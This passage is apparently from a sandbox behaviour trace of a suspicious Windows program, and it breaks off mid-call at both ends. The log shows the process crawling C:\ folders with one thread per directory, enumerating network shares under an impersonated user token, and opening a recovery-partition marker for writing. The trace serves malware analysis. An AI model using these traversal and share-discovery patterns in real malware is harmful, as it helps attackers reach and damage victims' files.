(_String1="Program Files (x86)", _String2="..") returned 1 [0055.390] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x33e2008 | out: lpFindFileData=0x33e2008*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0055.390] wcscmp (_String1="ProgramData", _String2=".") returned 1 [0055.390] wcscmp (_String1="ProgramData", _String2="..") returned 1 [0055.390] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x33e2008 | out: lpFindFileData=0x33e2008*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0055.390] wcscmp (_String1="Recovery", _String2=".") returned 1 [0055.390] wcscmp (_String1="Recovery", _String2="..") returned 1 [0055.390] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x1a) returned 0x33e4b48 [0055.390] wcscpy (in: _Dest=0x33e4b48, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0055.390] wcscat (in: _Dest=0x33e4b48, _Source="Recovery" | out: _Dest="C:\\Recovery") returned="C:\\Recovery" [0055.390] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e4b48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x33c [0055.390] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x33e2008 | out: lpFindFileData=0x33e2008*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6ead2556, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6ead2556, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x47384f2, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1 [0055.390] wcscmp (_String1="swapfile.sys", _String2=".") returned 1 [0055.391] wcscmp (_String1="swapfile.sys", _String2="..") returned 1 [0055.391] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x33e2008 | out: lpFindFileData=0x33e2008*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x6e16f135, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0xb1ff7ba5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xb1ff7ba5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0055.391] wcscmp (_String1="System Volume Information", _String2=".") returned 1 [0055.391] wcscmp (_String1="System Volume Information", _String2="..") returned 1 [0055.391] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x33e2008 | out: lpFindFileData=0x33e2008*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0055.391] wcscmp (_String1="Users", _String2=".") returned 1 [0055.391] wcscmp (_String1="Users", _String2="..") returned 1 [0055.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14) returned 0x33e1bd0 [0055.391] wcscpy (in: _Dest=0x33e1bd0, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0055.391] wcscat (in: _Dest=0x33e1bd0, _Source="Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0055.391] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e1bd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x340 [0055.391] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x33e2008 | out: lpFindFileData=0x33e2008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0055.391] wcscmp (_String1="Windows", _String2=".") returned 1 [0055.391] wcscmp (_String1="Windows", _String2="..") returned 1 [0055.391] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x33e2008 | out: lpFindFileData=0x33e2008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 1 [0055.391] wcscmp (_String1="Windows10Upgrade", _String2=".") returned 1 [0055.391] wcscmp (_String1="Windows10Upgrade", _String2="..") returned 1 [0055.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x2a) returned 0x33c8760 [0055.392] wcscpy (in: _Dest=0x33c8760, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0055.392] wcscat (in: _Dest=0x33c8760, _Source="Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0055.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33c8760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x344 [0055.392] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x33e2008 | out: lpFindFileData=0x33e2008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 0 [0055.392] FindClose (in: hFindFile=0x33dfe18 | out: hFindFile=0x33dfe18) returned 1 [0055.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2008) returned 1 [0055.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a320) returned 1 [0055.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fb5d8) returned 1 [0055.392] RtlExitUserThread (Status=0x0) Thread: id = 12 os_tid = 0xe3c [0055.294] ImpersonateLoggedOnUser (hToken=0x314) returned 1 [0055.295] ImpersonateLoggedOnUser (hToken=0x314) returned 1 [0055.296] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x54afa4c | out: lphEnum=0x54afa4c*=0x33dfdd8) returned 0x0 [0058.407] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x1024) returned 0x3424a28 [0058.407] WNetEnumResourceW (in: hEnum=0x33dfdd8, lpcCount=0x54afa50, lpBuffer=0x3424a28, lpBufferSize=0x54afa58 | out: lpcCount=0x54afa50, lpBuffer=0x3424a28, lpBufferSize=0x54afa58) returned 0x0 [0058.407] ImpersonateLoggedOnUser (hToken=0x314) returned 1 [0058.407] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x3424a28, lphEnum=0x54afa14 | out: lphEnum=0x54afa14*=0x33d8600) returned 0x0 [0058.412] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x1024) returned 0x3425a58 [0058.412] WNetEnumResourceW (in: hEnum=0x33d8600, lpcCount=0x54afa18, lpBuffer=0x3425a58, lpBufferSize=0x54afa20 | out: lpcCount=0x54afa18, lpBuffer=0x3425a58, lpBufferSize=0x54afa20) returned 0x103 [0058.412] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3425a58) returned 1 [0058.412] WNetCloseEnum (hEnum=0x33d8600) returned 0x0 [0058.412] ImpersonateLoggedOnUser (hToken=0x314) returned 1 [0058.412] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x3424a48, lphEnum=0x54afa14 | out: lphEnum=0x54afa14*=0x0) returned 0x4b8 [0081.512] ImpersonateLoggedOnUser (hToken=0x314) returned 1 [0081.512] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x3424a68, lphEnum=0x54afa14 | out: lphEnum=0x54afa14*=0x0) returned 0x4c6 [0081.515] WNetEnumResourceW (in: hEnum=0x33dfdd8, lpcCount=0x54afa50, lpBuffer=0x3424a28, lpBufferSize=0x54afa58 | out: lpcCount=0x54afa50, lpBuffer=0x3424a28, lpBufferSize=0x54afa58) returned 0x103 [0081.515] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424a28) returned 1 [0081.515] WNetCloseEnum (hEnum=0x33dfdd8) returned 0x0 [0081.515] RevertToSelf () returned 1 [0081.515] RtlExitUserThread (Status=0x0) Thread: id = 13 os_tid = 0xe9c [0058.380] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x22) returned 0x33fc730 [0058.380] wcscpy (in: _Dest=0x33fc730, _Source="C:\\$GetCurrent" | out: _Dest="C:\\$GetCurrent") returned="C:\\$GetCurrent" [0058.380] wcscat (in: _Dest=0x33fc730, _Source="\\" | out: _Dest="C:\\$GetCurrent\\") returned="C:\\$GetCurrent\\" [0058.380] wcscat (in: _Dest=0x33fc730, _Source="*" | out: _Dest="C:\\$GetCurrent\\*") returned="C:\\$GetCurrent\\*" [0058.380] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x341a830 [0058.380] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x341a830 | out: lpFindFileData=0x341a830*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33dfa58 [0058.388] wcscmp (_String1=".", _String2=".") returned 0 [0058.388] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x341a830 | out: lpFindFileData=0x341a830*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.388] wcscmp (_String1="..", _String2=".") returned 1 [0058.388] wcscmp (_String1="..", _String2="..") returned 0 [0058.388] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x341a830 | out: lpFindFileData=0x341a830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0058.388] wcscmp (_String1="Logs", _String2=".") returned 1 [0058.388] wcscmp (_String1="Logs", _String2="..") returned 1 [0058.388] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x28) returned 0x33fc760 [0058.388] wcscpy (in: _Dest=0x33fc760, _Source="C:\\$GetCurrent" | out: _Dest="C:\\$GetCurrent") returned="C:\\$GetCurrent" [0058.388] wcscat (in: _Dest=0x33fc760, _Source="\\" | out: _Dest="C:\\$GetCurrent\\") returned="C:\\$GetCurrent\\" [0058.388] wcscat (in: _Dest=0x33fc760, _Source="Logs" | out: _Dest="C:\\$GetCurrent\\Logs") returned="C:\\$GetCurrent\\Logs" [0058.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fc760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f4 [0058.481] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x341a830 | out: lpFindFileData=0x341a830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0058.481] wcscmp (_String1="SafeOS", _String2=".") returned 1 [0058.481] wcscmp (_String1="SafeOS", _String2="..") returned 1 [0058.481] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x2c) returned 0x341b520 [0058.481] wcscpy (in: _Dest=0x341b520, _Source="C:\\$GetCurrent" | out: _Dest="C:\\$GetCurrent") returned="C:\\$GetCurrent" [0058.481] wcscat (in: _Dest=0x341b520, _Source="\\" | out: _Dest="C:\\$GetCurrent\\") returned="C:\\$GetCurrent\\" [0058.481] wcscat (in: _Dest=0x341b520, _Source="SafeOS" | out: _Dest="C:\\$GetCurrent\\SafeOS") returned="C:\\$GetCurrent\\SafeOS" [0058.481] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x341b520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f8 [0058.482] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x341a830 | out: lpFindFileData=0x341a830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0058.482] FindClose (in: hFindFile=0x33dfa58 | out: hFindFile=0x33dfa58) returned 1 [0058.482] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a830) returned 1 [0058.482] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc730) returned 1 [0058.482] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4bc0) returned 1 [0058.482] RtlExitUserThread (Status=0x0) Thread: id = 14 os_tid = 0xe60 [0058.386] GetFileAttributesW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker")) returned 0x22 [0058.390] SetFileAttributesW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER", dwFileAttributes=0x20) returned 1 [0058.390] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0058.391] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x55afb50 | out: lpFileSize=0x55afb50*=0) returned 1 [0058.391] CloseHandle (hObject=0x348) returned 1 [0058.391] SetFileAttributesW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER", dwFileAttributes=0x22) returned 1 [0058.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d2758) returned 1 [0058.391] RtlExitUserThread (Status=0x0) Thread: id = 15 os_tid = 0xe84 [0058.387] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x30) returned 0x341ba28 [0058.387] wcscpy (in: _Dest=0x341ba28, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.387] wcscat (in: _Dest=0x341ba28, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.387] wcscat (in: _Dest=0x341ba28, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\*") returned="C:\\588bce7c90097ed212\\*" [0058.387] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x341e880 [0058.387] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33dfb18 [0058.401] wcscmp (_String1=".", _String2=".") returned 0 [0058.401] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.404] wcscmp (_String1="..", _String2=".") returned 1 [0058.404] wcscmp (_String1="..", _String2="..") returned 0 [0058.404] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1025", cAlternateFileName="")) returned 1 [0058.404] wcscmp (_String1="1025", _String2=".") returned 1 [0058.404] wcscmp (_String1="1025", _String2="..") returned 1 [0058.404] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33dff98 [0058.404] wcscpy (in: _Dest=0x33dff98, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.404] wcscat (in: _Dest=0x33dff98, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.404] wcscat (in: _Dest=0x33dff98, _Source="1025" | out: _Dest="C:\\588bce7c90097ed212\\1025") returned="C:\\588bce7c90097ed212\\1025" [0058.427] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33dff98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x34c [0058.427] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1028", cAlternateFileName="")) returned 1 [0058.428] wcscmp (_String1="1028", _String2=".") returned 1 [0058.428] wcscmp (_String1="1028", _String2="..") returned 1 [0058.428] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33df898 [0058.428] wcscpy (in: _Dest=0x33df898, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.428] wcscat (in: _Dest=0x33df898, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.428] wcscat (in: _Dest=0x33df898, _Source="1028" | out: _Dest="C:\\588bce7c90097ed212\\1028") returned="C:\\588bce7c90097ed212\\1028" [0058.428] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33df898, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x374 [0058.429] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1029", cAlternateFileName="")) returned 1 [0058.429] wcscmp (_String1="1029", _String2=".") returned 1 [0058.430] wcscmp (_String1="1029", _String2="..") returned 1 [0058.430] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33df858 [0058.430] wcscpy (in: _Dest=0x33df858, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.430] wcscat (in: _Dest=0x33df858, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.430] wcscat (in: _Dest=0x33df858, _Source="1029" | out: _Dest="C:\\588bce7c90097ed212\\1029") returned="C:\\588bce7c90097ed212\\1029" [0058.430] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33df858, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x378 [0058.430] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1030", cAlternateFileName="")) returned 1 [0058.431] wcscmp (_String1="1030", _String2=".") returned 1 [0058.431] wcscmp (_String1="1030", _String2="..") returned 1 [0058.431] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33df918 [0058.431] wcscpy (in: _Dest=0x33df918, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.431] wcscat (in: _Dest=0x33df918, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.431] wcscat (in: _Dest=0x33df918, _Source="1030" | out: _Dest="C:\\588bce7c90097ed212\\1030") returned="C:\\588bce7c90097ed212\\1030" [0058.431] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33df918, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c [0058.432] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1031", cAlternateFileName="")) returned 1 [0058.432] wcscmp (_String1="1031", _String2=".") returned 1 [0058.432] wcscmp (_String1="1031", _String2="..") returned 1 [0058.432] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33dff18 [0058.432] wcscpy (in: _Dest=0x33dff18, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.432] wcscat (in: _Dest=0x33dff18, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.432] wcscat (in: _Dest=0x33dff18, _Source="1031" | out: _Dest="C:\\588bce7c90097ed212\\1031") returned="C:\\588bce7c90097ed212\\1031" [0058.432] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33dff18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x380 [0058.433] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1032", cAlternateFileName="")) returned 1 [0058.433] wcscmp (_String1="1032", _String2=".") returned 1 [0058.433] wcscmp (_String1="1032", _String2="..") returned 1 [0058.433] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33dfc18 [0058.433] wcscpy (in: _Dest=0x33dfc18, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.433] wcscat (in: _Dest=0x33dfc18, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.433] wcscat (in: _Dest=0x33dfc18, _Source="1032" | out: _Dest="C:\\588bce7c90097ed212\\1032") returned="C:\\588bce7c90097ed212\\1032" [0058.433] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33dfc18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x384 [0058.434] FindNextFileW (in: 